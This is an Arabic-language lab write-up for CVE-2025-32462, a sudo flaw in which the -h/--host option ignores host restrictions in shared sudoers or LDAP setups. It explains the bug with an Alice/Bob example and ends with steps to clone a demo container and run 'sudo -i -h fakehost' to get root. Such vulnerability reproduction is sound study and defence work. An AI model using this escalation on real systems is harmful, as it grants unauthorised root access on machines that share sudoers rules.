
cve-2025-32462' تجريبي

sudo/NEWS at SUDO_1_8_8 · sudo-project/sudo · GitHub
في وثائق sudo -h (--host) مكتوب أن -h يمكن استخدامها فقط مع -l. لاحقًا تم التحديث للسماح باستخدام sudo -h مع -e، -i، إلخ.
sudo --host(-h) <username> -l(--list)
/etc/sudoer.d يُستخدم لمعرفة صلاحيات المستخدم في النظام. قد يتم تجاوز هذه الصلاحيات، مما يسمح لمستخدم برفع صلاحياته في نظام معين إلى الصلاحيات التي قد يمتلكها في نظام آخر. هذا يؤثر بشكل خاص على الأنظمة التي تشارك ملف sudoers واحد بين أجهزة متعددة أو التي تستخدم أدلة مستخدمين قائمة على الشبكة (مثل LDAP) لتوفير قواعد sudoers للنظام.
الخلاصة: خيار h/--host في sudo لا يتبع مبدأ أقل الامتياز، ولا يتحقق من حدود قواعد المضيف في السيناريوهات غير -l (مثل تنفيذ الأوامر). يمكن للمهاجم تكوين قواعد ضارة في ملف /etc/sudoer.d.
يؤثر بشكل رئيسي على أنظمة مسؤولي النظام الذين يستخدمون نفس ملف sudoers على أجهزة متعددة.
يتطلب استغلال الثغرة شرطين:
حصول المهاجم على مستخدم تمت المصادقة عليه
نظام غير مهيأ افتراضيًا، يعتمد على وجود قواعد إضافية في ملف sudoers
مثال:
ملف sudoers يحتوي على قواعد تحدد صلاحيات المستخدم على أنظمة مختلفة.
Alice hostA: بعض الصلاحيات
Bob hostB: بعض الصلاحيات
يسجل Bob الدخول إلى hostA، ثم يشغل الأمر sudo -h hostB commandA.
git clone https://github.com/SpongeBob-369/cve-2025-32462.git
cd cve-2025-32462
chmod +x run.sh
./run.sh
# بعد الدخول إلى حاوية Ubuntu
sudo -l
# ثم يُطلب منك إدخال كلمة المرور، لكن "نحن" لا نعرفها.
sudo -l -h fakehost # تحقق من صلاحيات المستخدم ubuntu في المضيف المسمى fakehost
sudo -i -h fakehost # الحصول على صلاحيات root